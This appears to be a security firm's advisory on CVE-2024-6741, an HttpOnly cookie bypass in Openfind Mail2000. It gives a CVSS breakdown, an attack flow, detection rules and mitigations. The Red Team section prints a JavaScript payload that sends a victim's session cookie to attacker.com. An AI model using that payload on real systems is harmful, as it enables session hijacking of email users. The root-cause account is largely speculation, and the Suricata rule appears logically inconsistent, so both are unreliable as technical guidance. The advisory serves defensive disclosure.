CVE-2024-6741

Executive Summary

CVE-2024-6741 is a security advisory affecting Openfind Mail2000, a widely used enterprise email system. The vulnerability allows an unauthenticated remote attacker to bypass the HttpOnly flag on session cookies via crafted JavaScript. This enables session hijacking even when the HttpOnly attribute is set, undermining a core defense against cross-site scripting (XSS) based cookie theft. The CVSS score is 5.8 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation in the wild. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product (Openfind Mail2000). Supply chain risk is limited to the vendor's software distribution and update mechanisms.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
• Base Score: 5.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a malicious link or visit a crafted page
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – session cookie theft
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction but can lead to full session takeover. The lack of a patch increases risk for unmitigated deployments.

Deep Dive & Mechanics

The HttpOnly flag is a cookie attribute that prevents client-side scripts (JavaScript) from accessing the cookie. It is a standard defense against XSS-based session theft. CVE-2024-6741 describes a bypass of this flag in Openfind Mail2000.

Root Cause: The vulnerability likely stems from improper handling of the HttpOnly attribute in the application's session management or cookie parsing logic. Specific mechanisms could include:

• Server-side misconfiguration: The application may set the HttpOnly flag but then expose the cookie value through alternative channels (e.g., HTTP response headers, error messages, or DOM manipulation).
• Client-side bypass: The application may use JavaScript to read the cookie despite the HttpOnly flag, or the flag may be stripped during certain operations (e.g., redirects, AJAX calls).
• Cookie injection: An attacker may be able to inject a new cookie with the same name but without the HttpOnly flag, overriding the secure one.

Attack Flow:

1. Attacker crafts a malicious link or hosts a page containing JavaScript that exploits the bypass.
2. Victim (authenticated Mail2000 user) clicks the link or visits the page.
3. The JavaScript executes, retrieves the session cookie (bypassing HttpOnly).
4. Attacker captures the cookie (e.g., via a remote server) and uses it to impersonate the victim.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is proprietary and not publicly accessible. However, the following conceptual comparison illustrates the expected fix:

Vulnerable (Conceptual):

// Server-side sets cookie with HttpOnly
response.setHeader('Set-Cookie', 'session=abc123; HttpOnly; Secure');
// But client-side code can still access it via a bug
var cookie = document.cookie; // Should be empty, but returns session value

Patched (Conceptual):

// Ensure HttpOnly is enforced server-side
response.setHeader('Set-Cookie', 'session=abc123; HttpOnly; Secure; SameSite=Lax');
// Remove any client-side code that reads cookies
// Validate cookie attributes on every request

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Mail2000 instance (version unknown)
• A victim user with an active session
• Ability to deliver JavaScript to the victim (e.g., via phishing, XSS, or malicious ad)

Exploitation Steps:

1. Craft the payload: Create a JavaScript snippet that exploits the HttpOnly bypass.

   // Example payload (conceptual)
   var xhr = new XMLHttpRequest();
   xhr.open('GET', '/mail2000/session', true);
   xhr.withCredentials = true;
   xhr.onload = function() {
       var cookie = xhr.getResponseHeader('Set-Cookie');
       // Send cookie to attacker server
       new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookie);
   };
   xhr.send();
   

2. Deliver the payload: Embed the script in a phishing email or a compromised page.
3. Capture the cookie: Set up a listener on attacker.com to receive the stolen cookie.
4. Replay the session: Use the stolen cookie in a browser or tool like curl to access Mail2000 as the victim.

Tools:

• Burp Suite (for cookie manipulation)
• Custom JavaScript payload
• Netcat or Python HTTP server for cookie capture

Blue Team (Defensive)

Detection:

• Monitor for unusual Set-Cookie headers in responses.
• Alert on JavaScript that attempts to read document.cookie or XMLHttpRequest responses containing session tokens.
• Use Web Application Firewall (WAF) rules to block known malicious payloads.

Mitigation:

• Apply vendor patch when available.
• Implement additional session security: use SameSite=Strict, short session timeouts, and IP binding.
• Deploy Content Security Policy (CSP) to restrict script execution.
• Educate users on phishing risks.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains containing cookie= or session= parameters.
  • Unusual Referer headers pointing to malicious sites.
• Host:
  • JavaScript files with obfuscated code that reads document.cookie or XMLHttpRequest response headers.
  • Browser console logs showing cookie values (if attacker uses console.log).
• Logs:
  • Web server logs showing repeated requests to /mail2000/session or similar endpoints.
  • Authentication logs showing logins from unusual IPs shortly after a phishing event.

Detection Engineering

YARA Rule

rule CVE_2024_6741_HttpOnly_Bypass {
    meta:
        description = "Detects JavaScript attempting to bypass HttpOnly flag in Mail2000"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6741"
    strings:
        $s1 = "document.cookie" nocase
        $s2 = "getResponseHeader" nocase
        $s3 = "Set-Cookie" nocase
        $s4 = "session" nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2024-6741 HttpOnly Bypass Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP responses with Set-Cookie header containing session token without HttpOnly flag
author: Valters IT
logsource:
    category: web
    product: proxy
detection:
    selection:
        response_headers|contains: 'Set-Cookie'
        response_headers|contains: 'session'
        response_headers|not_contains: 'HttpOnly'
    condition: selection
falsepositives:
    - Legitimate applications that intentionally omit HttpOnly
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6741 HttpOnly Bypass - Session Cookie Leak"; flow:to_client; content:"Set-Cookie"; http_header; content:"session"; http_header; nocase; pcre:"/HttpOnly/"; pcre:"/^Set-Cookie:.*session=.*[^;]*(?!HttpOnly)/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, restrict network access to Mail2000 until a patch is applied.
2. Implement WAF rules: Block requests containing document.cookie or getResponseHeader in JavaScript.
3. Enforce CSP: Add script-src 'self' to prevent inline scripts.
4. Monitor logs: Review web server logs for suspicious cookie-related activity.

Long-term Fix:

• Apply vendor patch when released.
• Conduct a security audit of session management code.
• Consider migrating to a more secure email platform if patching is delayed.

Workarounds:

• Use a reverse proxy to strip Set-Cookie headers from responses (may break functionality).
• Enable SameSite=Strict on all cookies via server configuration.
• Implement multi-factor authentication (MFA) to reduce impact of session theft.

Valters IT
Securing Digital Frontiers